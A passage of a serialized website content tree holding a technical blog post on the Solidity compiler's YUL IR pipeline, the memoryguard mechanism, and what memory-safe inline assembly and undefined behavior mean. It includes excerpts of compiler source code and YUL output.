do?",[32075],{"id":23214,"depth":993,"text":23217},{"id":24572,"depth":984,"text":24575,"children":32077},[32078,32079,32080],{"id":25248,"depth":993,"text":25251},{"id":25533,"depth":993,"text":25536},{"id":25677,"depth":993,"text":25680},{"id":25818,"depth":984,"text":25821,"children":32082},[32083,32084,32085,32086],{"id":25889,"depth":993,"text":25892},{"id":27730,"depth":993,"text":27733},{"id":28532,"depth":993,"text":25881},{"id":31058,"depth":993,"text":25886},{"id":31898,"depth":984,"text":31901,"children":32088},[32089,32090],{"id":31904,"depth":993,"text":31907},{"id":32005,"depth":993,"text":32008},{"id":5876,"depth":984,"text":5879},"content:blog:2023-01-26-formally-verifying-solana-programs.md","blog/2023-01-26-formally-verifying-solana-programs.md","blog/2023-01-26-formally-verifying-solana-programs",{"_path":32096,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":32097,"description":32098,"author":8832,"image":32099,"date":32101,"isFeatured":16,"onBlogPage":16,"tags":32102,"body":32104,"_type":5983,"_id":33521,"_source":5985,"_file":33522,"_stem":33523,"_extension":5988},"/blog/2023-07-28-solidity-compilers-memory-safety","Solidity Compilers: Memory Safety","An exploration into the Solidity compilation pipeline, optimization assumptions, and how it all relates back to memory-safe assembly.",{"src":32100,"height":15,"width":15},"/posts/solidity-compilers-memory-safety/header.jpg","2023-07-28",[924,32103],"compiler",{"type":21,"children":32105,"toc":33512},[32106,32110,32146,32158,32164,32186,32199,32346,32367,32372,32393,32398,32406,32411,32416,32421,32427,32446,32451,32472,32535,32548,32578,32598,32625,32630,32643,32648,32653,32666,32697,32720,32874,32892,32943,32962,32987,32992,32998,33025,33045,33073,33078,33100,33119,33127,33138,33143,33159,33416,33424,33429,33433,33438,33443,33508],{"type":24,"tag":68,"props":32107,"children":32108},{"id":27},[32109],{"type":30,"value":31},{"type":24,"tag":33,"props":32111,"children":32112},{},[32113,32115,32121,32122,32126,32128,32135,32137,32144],{"type":30,"value":32114},"What does ",{"type":24,"tag":156,"props":32116,"children":32118},{"className":32117},[],[32119],{"type":30,"value":32120},"memory-safe",{"type":30,"value":510},{"type":24,"tag":6032,"props":32123,"children":32124},{},[32125],{"type":30,"value":12396},{"type":30,"value":32127}," mean? What guarantees does Solidity expose when you're dealing with inline assembly? The documentation ",{"type":24,"tag":37,"props":32129,"children":32132},{"href":32130,"rel":32131},"https://docs.soliditylang.org/en/v0.8.20/assembly.html#memory-safety",[41],[32133],{"type":30,"value":32134},"presents some requirements",{"type":30,"value":32136},", but is production code that ",{"type":24,"tag":37,"props":32138,"children":32141},{"href":32139,"rel":32140},"https://github.com/Vectorized/solady/blob/main/src/utils/SafeTransferLib.sol#L165-L166",[41],[32142],{"type":30,"value":32143},"violates these requirements",{"type":30,"value":32145}," necessarily unsafe?",{"type":24,"tag":33,"props":32147,"children":32148},{},[32149,32151,32156],{"type":30,"value":32150},"In this blog post, we present a high-level overview of the Solidity compiler. We'll also dive into the optimization pipeline, language lawyering, and present an argument for what ",{"type":24,"tag":6032,"props":32152,"children":32153},{},[32154],{"type":30,"value":32155},"memory-safety",{"type":30,"value":32157}," actually means.",{"type":24,"tag":68,"props":32159,"children":32161},{"id":32160},"compiler-pipeline",[32162],{"type":30,"value":32163},"Compiler Pipeline",{"type":24,"tag":33,"props":32165,"children":32166},{},[32167,32169,32176,32178,32185],{"type":30,"value":32168},"For brevity's sake, we'll only cover the YUL IR Solidity compilation pipeline ",{"type":24,"tag":37,"props":32170,"children":32173},{"href":32171,"rel":32172},"https://blog.soliditylang.org/2022/03/16/solidity-0.8.13-release-announcement/",[41],[32174],{"type":30,"value":32175},"released in v0.8.13",{"type":30,"value":32177},". Compilation happens ",{"type":24,"tag":37,"props":32179,"children":32182},{"href":32180,"rel":32181},"https://github.com/ethereum/solidity/blob/4a8d6618f5b398077f694835905f93d0a3890289/libsolidity/interface/CompilerStack.cpp#L684",[41],[32183],{"type":30,"value":32184},"in two main steps",{"type":30,"value":476},{"type":24,"tag":478,"props":32187,"children":32188},{},[32189,32194],{"type":24,"tag":100,"props":32190,"children":32191},{},[32192],{"type":30,"value":32193},"Solidity to YUL IR",{"type":24,"tag":100,"props":32195,"children":32196},{},[32197],{"type":30,"value":32198},"YUL IR to EVM opcodes",{"type":24,"tag":920,"props":32200,"children":32204},{"className":32201,"code":32202,"language":32203,"meta":7,"style":7},"language-cpp shiki shiki-themes slack-dark","    if (m_viaIR || m_generateIR || m_generateEwasm)\n        generateIR(*contract);\n    if (m_generateEvmBytecode)\n    {\n        if (m_viaIR)\n            generateEVMFromIR(*contract);\n        else\n            compileContract(*contract, otherCompilers);\n    }\n","cpp",[32205],{"type":24,"tag":156,"props":32206,"children":32207},{"__ignoreMap":7},[32208,32238,32259,32271,32278,32290,32310,32318,32339],{"type":24,"tag":930,"props":32209,"children":32210},{"class":932,"line":933},[32211,32215,32220,32224,32229,32233],{"type":24,"tag":930,"props":32212,"children":32213},{"style":1079},[32214],{"type":30,"value":15386},{"type":24,"tag":930,"props":32216,"children":32217},{"style":959},[32218],{"type":30,"value":32219}," (m_viaIR ",{"type":24,"tag":930,"props":32221,"children":32222},{"style":1158},[32223],{"type":30,"value":25520},{"type":24,"tag":930,"props":32225,"children":32226},{"style":959},[32227],{"type":30,"value":32228}," m_generateIR ",{"type":24,"tag":930,"props":32230,"children":32231},{"style":1158},[32232],{"type":30,"value":25520},{"type":24,"tag":930,"props":32234,"children":32235},{"style":959},[32236],{"type":30,"value":32237}," m_generateEwasm)\n",{"type":24,"tag":930,"props":32239,"children":32240},{"class":932,"line":984},[32241,32246,32250,32254],{"type":24,"tag":930,"props":32242,"children":32243},{"style":1002},[32244],{"type":30,"value":32245},"        generateIR",{"type":24,"tag":930,"props":32247,"children":32248},{"style":959},[32249],{"type":30,"value":1010},{"type":24,"tag":930,"props":32251,"children":32252},{"style":1158},[32253],{"type":30,"value":1410},{"type":24,"tag":930,"props":32255,"children":32256},{"style":959},[32257],{"type":30,"value":32258},"contract);\n",{"type":24,"tag":930,"props":32260,"children":32261},{"class":932,"line":993},[32262,32266],{"type":24,"tag":930,"props":32263,"children":32264},{"style":1079},[32265],{"type":30,"value":15386},{"type":24,"tag":930,"props":32267,"children":32268},{"style":959},[32269],{"type":30,"value":32270}," (m_generateEvmBytecode)\n",{"type":24,"tag":930,"props":32272,"children":32273},{"class":932,"line":1057},[32274],{"type":24,"tag":930,"props":32275,"children":32276},{"style":959},[32277],{"type":30,"value":1128},{"type":24,"tag":930,"props":32279,"children":32280},{"class":932,"line":1066},[32281,32285],{"type":24,"tag":930,"props":32282,"children":32283},{"style":1079},[32284],{"type":30,"value":3290},{"type":24,"tag":930,"props":32286,"children":32287},{"style":959},[32288],{"type":30,"value":32289}," (m_viaIR)\n",{"type":24,"tag":930,"props":32291,"children":32292},{"class":932,"line":1075},[32293,32298,32302,32306],{"type":24,"tag":930,"props":32294,"children":32295},{"style":1002},[32296],{"type":30,"value":32297},"            generateEVMFromIR",{"type":24,"tag":930,"props":32299,"children":32300},{"style":959},[32301],{"type":30,"value":1010},{"type":24,"tag":930,"props":32303,"children":32304},{"style":1158},[32305],{"type":30,"value":1410},{"type":24,"tag":930,"props":32307,"children":32308},{"style":959},[32309],{"type":30,"value":32258},{"type":24,"tag":930,"props":32311,"children":32312},{"class":932,"line":1122},[32313],{"type":24,"tag":930,"props":32314,"children":32315},{"style":1079},[32316],{"type":30,"value":32317},"        else\n",{"type":24,"tag":930,"props":32319,"children":32320},{"class":932,"line":1131},[32321,32326,32330,32334],{"type":24,"tag":930,"props":32322,"children":32323},{"style":1002},[32324],{"type":30,"value":32325},"            compileContract",{"type":24,"tag":930,"props":32327,"children":32328},{"style":959},[32329],{"type":30,"value":1010},{"type":24,"tag":930,"props":32331,"children":32332},{"style":1158},[32333],{"type":30,"value":1410},{"type":24,"tag":930,"props":32335,"children":32336},{"style":959},[32337],{"type":30,"value":32338},"contract, otherCompilers);\n",{"type":24,"tag":930,"props":32340,"children":32341},{"class":932,"line":1144},[32342],{"type":24,"tag":930,"props":32343,"children":32344},{"style":959},[32345],{"type":30,"value":1840},{"type":24,"tag":33,"props":32347,"children":32348},{},[32349,32351,32358,32359,32366],{"type":30,"value":32350},"Each step applies its own set of optimizations. The entrypoints are located at ",{"type":24,"tag":37,"props":32352,"children":32355},{"href":32353,"rel":32354},"https://github.com/ethereum/solidity/blob/fd9ac9abed2049a4b8134d39e178275c8aad75b6/libyul/YulStack.cpp#L92",[41],[32356],{"type":30,"value":32357},"YulStack::optimize",{"type":30,"value":211},{"type":24,"tag":37,"props":32360,"children":32363},{"href":32361,"rel":32362},"https://github.com/ethereum/solidity/blob/4a8d6618f5b398077f694835905f93d0a3890289/libevmasm/Assembly.cpp#L336",[41],[32364],{"type":30,"value":32365},"Assembly::optimize",{"type":30,"value":436},{"type":24,"tag":33,"props":32368,"children":32369},{},[32370],{"type":30,"value":32371},"In total, there are four steps.",{"type":24,"tag":478,"props":32373,"children":32374},{},[32375,32379,32384,32388],{"type":24,"tag":100,"props":32376,"children":32377},{},[32378],{"type":30,"value":32193},{"type":24,"tag":100,"props":32380,"children":32381},{},[32382],{"type":30,"value":32383},"Optimization of YUL IR",{"type":24,"tag":100,"props":32385,"children":32386},{},[32387],{"type":30,"value":32198},{"type":24,"tag":100,"props":32389,"children":32390},{},[32391],{"type":30,"value":32392},"Optimization of EVM opcodes",{"type":24,"tag":33,"props":32394,"children":32395},{},[32396],{"type":30,"value":32397},"As mentioned in the v0.8.13 release post, the YUL optimizer is able to perform much more complex optimizations. Compared to Solidity, YUL contains detailed semantic information and is simpler for optimization passes to reason about than opcodes.",{"type":24,"tag":6054,"props":32399,"children":32400},{},[32401],{"type":24,"tag":33,"props":32402,"children":32403},{},[32404],{"type":30,"value":32405},"The performance of the new pipeline is not yet always superior to the old one, but it can do much higher-level optimization across functions, so please try it out and give us feedback!",{"type":24,"tag":33,"props":32407,"children":32408},{},[32409],{"type":30,"value":32410},"Importantly, each step happens in isolation and retains no information about the previous stage.",{"type":24,"tag":33,"props":32412,"children":32413},{},[32414],{"type":30,"value":32415},"The optimizer cannot change the behavior of the generated IR. This means we don't need to worry about potentially tricky optimizations such as reordering of functions, removal of unused assigns, or moving stack variables to memory.",{"type":24,"tag":33,"props":32417,"children":32418},{},[32419],{"type":30,"value":32420},"When it comes to safety, we need only to consider the IR generation. But what exactly are the guarantees here?",{"type":24,"tag":68,"props":32422,"children":32424},{"id":32423},"guarantees",[32425],{"type":30,"value":32426},"Guarantees",{"type":24,"tag":33,"props":32428,"children":32429},{},[32430,32431,32438,32440,32445],{"type":30,"value":259},{"type":24,"tag":37,"props":32432,"children":32435},{"href":32433,"rel":32434},"https://docs.soliditylang.org/en/v0.8.20/internals/layout_in_memory.html",[41],[32436],{"type":30,"value":32437},"Solidity memory layout",{"type":30,"value":32439}," exists only at the time of YUL IR generation. The YUL optimizer and later steps has ",{"type":24,"tag":6032,"props":32441,"children":32442},{},[32443],{"type":30,"value":32444},"no information about this layout",{"type":30,"value":436},{"type":24,"tag":33,"props":32447,"children":32448},{},[32449],{"type":30,"value":32450},"What if the optimizer wants to use memory for optimization passes? How does it know what slots are used by the IR generator?",{"type":24,"tag":33,"props":32452,"children":32453},{},[32454,32456,32462,32464,32470],{"type":30,"value":32455},"Introducing ",{"type":24,"tag":156,"props":32457,"children":32459},{"className":32458},[],[32460],{"type":30,"value":32461},"memoryguard",{"type":30,"value":32463},". If you've ever looked at the output of ",{"type":24,"tag":156,"props":32465,"children":32467},{"className":32466},[],[32468],{"type":30,"value":32469},"solc --ir",{"type":30,"value":32471},", this call may be familiar. It's used to initialize the free-memory pointer.",{"type":24,"tag":920,"props":32473,"children":32475},{"className":922,"code":32474,"language":924,"meta":7,"style":7},"    /// @src 0:26:371  \"contract XXX {...\"\n    store(64, memoryguard(0x80))\n",[32476],{"type":24,"tag":156,"props":32477,"children":32478},{"__ignoreMap":7},[32479,32497],{"type":24,"tag":930,"props":32480,"children":32481},{"class":932,"line":933},[32482,32487,32492],{"type":24,"tag":930,"props":32483,"children":32484},{"style":1422},[32485],{"type":30,"value":32486},"    /// @src 0:26:371  \"contract ",{"type":24,"tag":930,"props":32488,"children":32489},{"style":937},[32490],{"type":30,"value":32491},"XXX",{"type":24,"tag":930,"props":32493,"children":32494},{"style":1422},[32495],{"type":30,"value":32496}," {...\"\n",{"type":24,"tag":930,"props":32498,"children":32499},{"class":932,"line":984},[32500,32505,32509,32514,32518,32522,32526,32531],{"type":24,"tag":930,"props":32501,"children":32502},{"style":1002},[32503],{"type":30,"value":32504},"    store",{"type":24,"tag":930,"props":32506,"children":32507},{"style":959},[32508],{"type":30,"value":1010},{"type":24,"tag":930,"props":32510,"children":32511},{"style":1242},[32512],{"type":30,"value":32513},"64",{"type":24,"tag":930,"props":32515,"children":32516},{"style":959},[32517],{"type":30,"value":962},{"type":24,"tag":930,"props":32519,"children":32520},{"style":1002},[32521],{"type":30,"value":32461},{"type":24,"tag":930,"props":32523,"children":32524},{"style":959},[32525],{"type":30,"value":1010},{"type":24,"tag":930,"props":32527,"children":32528},{"style":1242},[32529],{"type":30,"value":32530},"0x80",{"type":24,"tag":930,"props":32532,"children":32533},{"style":959},[32534],{"type":30,"value":22815},{"type":24,"tag":33,"props":32536,"children":32537},{},[32538,32540,32547],{"type":30,"value":32539},"From ",{"type":24,"tag":37,"props":32541,"children":32544},{"href":32542,"rel":32543},"https://solidity.readthedocs.io/en/latest/yul.html#memoryguard",[41],[32545],{"type":30,"value":32546},"the documentation",{"type":30,"value":7241},{"type":24,"tag":6054,"props":32549,"children":32550},{},[32551],{"type":24,"tag":33,"props":32552,"children":32553},{},[32554,32556,32562,32564,32570,32572,32577],{"type":30,"value":32555},"The caller of ",{"type":24,"tag":156,"props":32557,"children":32559},{"className":32558},[],[32560],{"type":30,"value":32561},"let ptr := memoryguard(size)",{"type":30,"value":32563}," (where size has to be a literal number) promises that they only use memory in either the range ",{"type":24,"tag":156,"props":32565,"children":32567},{"className":32566},[],[32568],{"type":30,"value":32569},"[0, size)",{"type":30,"value":32571}," or the unbounded range starting at ",{"type":24,"tag":156,"props":32573,"children":32575},{"className":32574},[],[32576],{"type":30,"value":17056},{"type":30,"value":436},{"type":24,"tag":33,"props":32579,"children":32580},{},[32581,32583,32588,32590,32596],{"type":30,"value":32582},"For example, if the YUL optimizer needs 32 bytes of memory, it can have ",{"type":24,"tag":156,"props":32584,"children":32586},{"className":32585},[],[32587],{"type":30,"value":32461},{"type":30,"value":32589}," return ",{"type":24,"tag":156,"props":32591,"children":32593},{"className":32592},[],[32594],{"type":30,"value":32595},"size + 32",{"type":30,"value":32597},". The optimizer gets a guaranteed region of memory which will not be touched!",{"type":24,"tag":33,"props":32599,"children":32600},{},[32601,32603,32610,32612,32617,32619,32624],{"type":30,"value":32602},"An example of this optimization in practice ",{"type":24,"tag":37,"props":32604,"children":32607},{"href":32605,"rel":32606},"https://github.com/ethereum/solidity/blob/1633e367c90aed7a6a14d84e2c288e6a8ab93304/libyul/optimiser/StackLimitEvader.cpp",[41],[32608],{"type":30,"value":32609},"is the StackLimitEvader",{"type":30,"value":32611},", which moves variables from the stack into memory. Incidentally, this is also currently the ",{"type":24,"tag":6032,"props":32613,"children":32614},{},[32615],{"type":30,"value":32616},"only",{"type":30,"value":32618}," optimization pass that relies on the semantic information communicated by ",{"type":24,"tag":156,"props":32620,"children":32622},{"className":32621},[],[32623],{"type":30,"value":32461},{"type":30,"value":436},{"type":24,"tag":33,"props":32626,"children":32627},{},[32628],{"type":30,"value":32629},"The modular design between different compiler stages also means that we're not tied down into any particular memory layout. Does it make sense to waste an entire memory word on the free memory pointer? Maybe not for some applications.",{"type":24,"tag":33,"props":32631,"children":32632},{},[32633,32635,32641],{"type":30,"value":32634},"Fear not, for we can remove this pointer entirely and call ",{"type":24,"tag":156,"props":32636,"children":32638},{"className":32637},[],[32639],{"type":30,"value":32640},"memoryguard(0x60)",{"type":30,"value":32642}," instead. The rest of the pipeline will still work.",{"type":24,"tag":68,"props":32644,"children":32645},{"id":32155},[32646],{"type":30,"value":32647},"Memory Safety",{"type":24,"tag":33,"props":32649,"children":32650},{},[32651],{"type":30,"value":32652},"So what does memory safety mean?",{"type":24,"tag":33,"props":32654,"children":32655},{},[32656,32658,32664],{"type":30,"value":32657},"The Solidity documentation provides ",{"type":24,"tag":37,"props":32659,"children":32661},{"href":32130,"rel":32660},[41],[32662],{"type":30,"value":32663},"a set of constraints",{"type":30,"value":32665},", not a definition.",{"type":24,"tag":6054,"props":32667,"children":32668},{},[32669,32674],{"type":24,"tag":33,"props":32670,"children":32671},{},[32672],{"type":30,"value":32673},"In particular, a memory-safe assembly block may only access the following memory ranges:",{"type":24,"tag":478,"props":32675,"children":32676},{},[32677,32682,32687,32692],{"type":24,"tag":100,"props":32678,"children":32679},{},[32680],{"type":30,"value":32681},"Memory allocated by yourself using a mechanism like the allocate function described above.",{"type":24,"tag":100,"props":32683,"children":32684},{},[32685],{"type":30,"value":32686},"Memory allocated by Solidity, e.g. memory within the bounds of a memory array you reference.",{"type":24,"tag":100,"props":32688,"children":32689},{},[32690],{"type":30,"value":32691},"The scratch space between memory offset 0 and 64 mentioned above.",{"type":24,"tag":100,"props":32693,"children":32694},{},[32695],{"type":30,"value":32696},"Temporary memory that is located after the value of the free memory pointer at the beginning of the assembly\nblock, i.e. memory that is “allocated” at the free memory pointer without updating the free memory pointer.",{"type":24,"tag":33,"props":32698,"children":32699},{},[32700,32702,32709,32719],{"type":30,"value":32701},"Looking to the compiler, it appears the presence of memory-unsafe assembly ",{"type":24,"tag":37,"props":32703,"children":32706},{"href":32704,"rel":32705},"https://github.com/ethereum/solidity/blob/a297a687261a1c634551b1dac0e36d4573c19afe/libsolidity/codegen/ir/IRGenerator.cpp#L210",[41],[32707],{"type":30,"value":32708},"removes the memory guard",{"type":24,"tag":18577,"props":32710,"children":32711},{},[32712],{"type":24,"tag":37,"props":32713,"children":32717},{"href":32714,"ariaDescribedBy":32715,"dataFootnoteRef":7,"id":32716},"#user-content-fn-1",[18584],"user-content-fnref-1",[32718],{"type":30,"value":7129},{"type":30,"value":436},{"type":24,"tag":920,"props":32721,"children":32723},{"className":32201,"code":32722,"language":32203,"meta":7,"style":7},"// bool creationInvolvesMemoryUnsafeAssembly = m_context.memoryUnsafeInlineAssemblySeen();\n// t(\"memoryInitCreation\", memoryInit(!creationInvolvesMemoryUnsafeAssembly));\n\nstring IRGenerator::memoryInit(bool _useMemoryGuard)\n{\n // This function should be called at the beginning of the EVM call frame\n // and thus can assume all memory to be zero, including the contents of\n // the \"zero memory area\" (the position CompilerUtils::zeroPointer points to).\n return\n  Whiskers{\n   _useMemoryGuard ?\n   \"mstore(\u003CmemPtr>, memoryguard(\u003CfreeMemoryStart>))\" :\n   \"mstore(\u003CmemPtr>, \u003CfreeMemoryStart>)\"\n  }\n",[32724],{"type":24,"tag":156,"props":32725,"children":32726},{"__ignoreMap":7},[32727,32735,32743,32750,32786,32793,32801,32809,32817,32825,32833,32846,32859,32867],{"type":24,"tag":930,"props":32728,"children":32729},{"class":932,"line":933},[32730],{"type":24,"tag":930,"props":32731,"children":32732},{"style":1422},[32733],{"type":30,"value":32734},"// bool creationInvolvesMemoryUnsafeAssembly = m_context.memoryUnsafeInlineAssemblySeen();\n",{"type":24,"tag":930,"props":32736,"children":32737},{"class":932,"line":984},[32738],{"type":24,"tag":930,"props":32739,"children":32740},{"style":1422},[32741],{"type":30,"value":32742},"// t(\"memoryInitCreation\", memoryInit(!creationInvolvesMemoryUnsafeAssembly));\n",{"type":24,"tag":930,"props":32744,"children":32745},{"class":932,"line":993},[32746],{"type":24,"tag":930,"props":32747,"children":32748},{"emptyLinePlaceholder":16},[32749],{"type":30,"value":2412},{"type":24,"tag":930,"props":32751,"children":32752},{"class":932,"line":1057},[32753,32758,32763,32768,32772,32777,32782],{"type":24,"tag":930,"props":32754,"children":32755},{"style":943},[32756],{"type":30,"value":32757},"string",{"type":24,"tag":930,"props":32759,"children":32760},{"style":959},[32761],{"type":30,"value":32762}," IRGenerator::",{"type":24,"tag":930,"props":32764,"children":32765},{"style":1002},[32766],{"type":30,"value":32767},"memoryInit",{"type":24,"tag":930,"props":32769,"children":32770},{"style":959},[32771],{"type":30,"value":1010},{"type":24,"tag":930,"props":32773,"children":32774},{"style":937},[32775],{"type":30,"value":32776},"bool",{"type":24,"tag":930,"props":32778,"children":32779},{"style":1023},[32780],{"type":30,"value":32781}," _useMemoryGuard",{"type":24,"tag":930,"props":32783,"children":32784},{"style":959},[32785],{"type":30,"value":1054},{"type":24,"tag":930,"props":32787,"children":32788},{"class":932,"line":1066},[32789],{"type":24,"tag":930,"props":32790,"children":32791},{"style":959},[32792],{"type":30,"value":13987},{"type":24,"tag":930,"props":32794,"children":32795},{"class":932,"line":1075},[32796],{"type":24,"tag":930,"props":32797,"children":32798},{"style":1422},[32799],{"type":30,"value":32800}," // This function should be called at the beginning of the EVM call frame\n",{"type":24,"tag":930,"props":32802,"children":32803},{"class":932,"line":1122},[32804],{"type":24,"tag":930,"props":32805,"children":32806},{"style":1422},[32807],{"type":30,"value":32808}," // and thus can assume all memory to be zero, including the contents of\n",{"type":24,"tag":930,"props":32810,"children":32811},{"class":932,"line":1131},[32812],{"type":24,"tag":930,"props":32813,"children":32814},{"style":1422},[32815],{"type":30,"value":32816}," // the \"zero memory area\" (the position CompilerUtils::zeroPointer points to).\n",{"type":24,"tag":930,"props":32818,"children":32819},{"class":932,"line":1144},[32820],{"type":24,"tag":930,"props":32821,"children":32822},{"style":1079},[32823],{"type":30,"value":32824}," return\n",{"type":24,"tag":930,"props":32826,"children":32827},{"class":932,"line":1169},[32828],{"type":24,"tag":930,"props":32829,"children":32830},{"style":959},[32831],{"type":30,"value":32832},"  Whiskers{\n",{"type":24,"tag":930,"props":32834,"children":32835},{"class":932,"line":1191},[32836,32841],{"type":24,"tag":930,"props":32837,"children":32838},{"style":959},[32839],{"type":30,"value":32840},"   _useMemoryGuard ",{"type":24,"tag":930,"props":32842,"children":32843},{"style":1158},[32844],{"type":30,"value":32845},"?\n",{"type":24,"tag":930,"props":32847,"children":32848},{"class":932,"line":1223},[32849,32854],{"type":24,"tag":930,"props":32850,"children":32851},{"style":1270},[32852],{"type":30,"value":32853},"   \"mstore(\u003CmemPtr>, memoryguard(\u003CfreeMemoryStart>))\"",{"type":24,"tag":930,"props":32855,"children":32856},{"style":1158},[32857],{"type":30,"value":32858}," :\n",{"type":24,"tag":930,"props":32860,"children":32861},{"class":932,"line":1281},[32862],{"type":24,"tag":930,"props":32863,"children":32864},{"style":1270},[32865],{"type":30,"value":32866},"   \"mstore(\u003CmemPtr>, \u003CfreeMemoryStart>)\"\n",{"type":24,"tag":930,"props":32868,"children":32869},{"class":932,"line":1313},[32870],{"type":24,"tag":930,"props":32871,"children":32872},{"style":959},[32873],{"type":30,"value":8984},{"type":24,"tag":33,"props":32875,"children":32876},{},[32877,32882,32884,32890],{"type":24,"tag":156,"props":32878,"children":32880},{"className":32879},[],[32881],{"type":30,"value":32469},{"type":30,"value":32883}," will now no longer have ",{"type":24,"tag":156,"props":32885,"children":32887},{"className":32886},[],[32888],{"type":30,"value":32889},"memoryguard(0x80)",{"type":30,"value":32891}," as expected.",{"type":24,"tag":920,"props":32893,"children":32895},{"className":922,"code":32894,"language":924,"meta":7,"style":7},"    /// @src 0:26:371  \"contract XXX {...\"\n    mstore(64, 128)\n",[32896],{"type":24,"tag":156,"props":32897,"children":32898},{"__ignoreMap":7},[32899,32914],{"type":24,"tag":930,"props":32900,"children":32901},{"class":932,"line":933},[32902,32906,32910],{"type":24,"tag":930,"props":32903,"children":32904},{"style":1422},[32905],{"type":30,"value":32486},{"type":24,"tag":930,"props":32907,"children":32908},{"style":937},[32909],{"type":30,"value":32491},{"type":24,"tag":930,"props":32911,"children":32912},{"style":1422},[32913],{"type":30,"value":32496},{"type":24,"tag":930,"props":32915,"children":32916},{"class":932,"line":984},[32917,32922,32926,32930,32934,32939],{"type":24,"tag":930,"props":32918,"children":32919},{"style":1002},[32920],{"type":30,"value":32921},"    mstore",{"type":24,"tag":930,"props":32923,"children":32924},{"style":959},[32925],{"type":30,"value":1010},{"type":24,"tag":930,"props":32927,"children":32928},{"style":1242},[32929],{"type":30,"value":32513},{"type":24,"tag":930,"props":32931,"children":32932},{"style":959},[32933],{"type":30,"value":962},{"type":24,"tag":930,"props":32935,"children":32936},{"style":1242},[32937],{"type":30,"value":32938},"128",{"type":24,"tag":930,"props":32940,"children":32941},{"style":959},[32942],{"type":30,"value":1054},{"type":24,"tag":33,"props":32944,"children":32945},{},[32946,32948,32953,32955,32960],{"type":30,"value":32947},"Semantically, the absence of ",{"type":24,"tag":156,"props":32949,"children":32951},{"className":32950},[],[32952],{"type":30,"value":32461},{"type":30,"value":32954}," means that the IR generator is telling the optimizer that it cannot guarantee the ",{"type":24,"tag":156,"props":32956,"children":32958},{"className":32957},[],[32959],{"type":30,"value":32461},{"type":30,"value":32961}," invariant.",{"type":24,"tag":6054,"props":32963,"children":32964},{},[32965],{"type":24,"tag":33,"props":32966,"children":32967},{},[32968,32969,32974,32975,32980,32981,32986],{"type":30,"value":32555},{"type":24,"tag":156,"props":32970,"children":32972},{"className":32971},[],[32973],{"type":30,"value":32561},{"type":30,"value":32563},{"type":24,"tag":156,"props":32976,"children":32978},{"className":32977},[],[32979],{"type":30,"value":32569},{"type":30,"value":32571},{"type":24,"tag":156,"props":32982,"children":32984},{"className":32983},[],[32985],{"type":30,"value":17056},{"type":30,"value":436},{"type":24,"tag":33,"props":32988,"children":32989},{},[32990],{"type":30,"value":32991},"This makes sense. Without stricter guarantees by the programmer, memory-unsafe assembly can touch memory anywhere it wants. Because the optimizer no longer has this guarantee, it cannot use memory in any of its optimization passes.",{"type":24,"tag":68,"props":32993,"children":32995},{"id":32994},"undefined-behavior",[32996],{"type":30,"value":32997},"Undefined Behavior",{"type":24,"tag":33,"props":32999,"children":33000},{},[33001,33003,33008,33010,33015,33017,33023],{"type":30,"value":33002},"How strict is memory safety? When it comes to ",{"type":24,"tag":156,"props":33004,"children":33006},{"className":33005},[],[33007],{"type":30,"value":32461},{"type":30,"value":33009},", only touching memory after 0x80 seems to matter. Is ",{"type":24,"tag":156,"props":33011,"children":33013},{"className":33012},[],[33014],{"type":30,"value":32120},{"type":30,"value":33016}," annotated assembly that touches memory at ",{"type":24,"tag":156,"props":33018,"children":33020},{"className":33019},[],[33021],{"type":30,"value":33022},"[0x40, 0x7f]",{"type":30,"value":33024}," really safe?",{"type":24,"tag":33,"props":33026,"children":33027},{},[33028,33029,33036,33038,33043],{"type":30,"value":259},{"type":24,"tag":37,"props":33030,"children":33033},{"href":33031,"rel":33032},"https://buildmedia.readthedocs.org/media/pdf/solidity/develop/solidity.pdf",[41],[33034],{"type":30,"value":33035},"Solidity documentation",{"type":30,"value":33037}," mentions ",{"type":24,"tag":6032,"props":33039,"children":33040},{},[33041],{"type":30,"value":33042},"undefined behavior",{"type":30,"value":33044}," three times.",{"type":24,"tag":478,"props":33046,"children":33047},{},[33048,33053,33068],{"type":24,"tag":100,"props":33049,"children":33050},{},[33051],{"type":30,"value":33052},"The existence of a dangling reference",{"type":24,"tag":100,"props":33054,"children":33055},{},[33056,33058],{"type":30,"value":33057},"Using verbatim improperly",{"type":24,"tag":18577,"props":33059,"children":33060},{},[33061],{"type":24,"tag":37,"props":33062,"children":33066},{"href":33063,"ariaDescribedBy":33064,"dataFootnoteRef":7,"id":33065},"#user-content-fn-2",[18584],"user-content-fnref-2",[33067],{"type":30,"value":6244},{"type":24,"tag":100,"props":33069,"children":33070},{},[33071],{"type":30,"value":33072},"Violating the memory model with in-line assembly marked as \"memory-safe\".",{"type":24,"tag":33,"props":33074,"children":33075},{},[33076],{"type":30,"value":33077},"Why does this matter?",{"type":24,"tag":33,"props":33079,"children":33080},{},[33081,33083,33090,33092,33099],{"type":30,"value":33082},"Assumptions about the program code can enable powerful optimizations - that's why ",{"type":24,"tag":37,"props":33084,"children":33087},{"href":33085,"rel":33086},"https://kristerw.blogspot.com/2016/02/how-undefined-signed-overflow-enables.html",[41],[33088],{"type":30,"value":33089},"signed integer overflow is undefined",{"type":30,"value":33091},". Strictly following the compiler model is critical. Undefined behavior materializes as tricky bugs ",{"type":24,"tag":37,"props":33093,"children":33096},{"href":33094,"rel":33095},"https://blog.regehr.org/archives/1307",[41],[33097],{"type":30,"value":33098},"years down the line",{"type":30,"value":436},{"type":24,"tag":33,"props":33101,"children":33102},{},[33103,33105,33112,33113,33118],{"type":30,"value":33104},"Going back to Solidity, the specification makes ",{"type":24,"tag":37,"props":33106,"children":33109},{"href":33107,"rel":33108},"https://docs.soliditylang.org/en/latest/internals/layout_in_memory.html",[41],[33110],{"type":30,"value":33111},"it unambiguously clear",{"type":30,"value":21633},{"type":24,"tag":6032,"props":33114,"children":33115},{},[33116],{"type":30,"value":33117},"Thou shalt not modify the zero slot",{"type":30,"value":436},{"type":24,"tag":6054,"props":33120,"children":33121},{},[33122],{"type":24,"tag":33,"props":33123,"children":33124},{},[33125],{"type":30,"value":33126},"The zero slot is used as initial value for dynamic memory arrays and should never be written to (the free memory pointer points to 0x80 initially).",{"type":24,"tag":33,"props":33128,"children":33129},{},[33130,33132,33137],{"type":30,"value":33131},"Any code that touches the zero slot at 0x60 is very clearly violating the specification. Does this matter though? This is where the semantics between Solidity and YUL gets tricky. Recall that the zero slot is a construction ",{"type":24,"tag":6032,"props":33133,"children":33134},{},[33135],{"type":30,"value":33136},"in Solidity",{"type":30,"value":436},{"type":24,"tag":33,"props":33139,"children":33140},{},[33141],{"type":30,"value":33142},"Even though there's no explicit 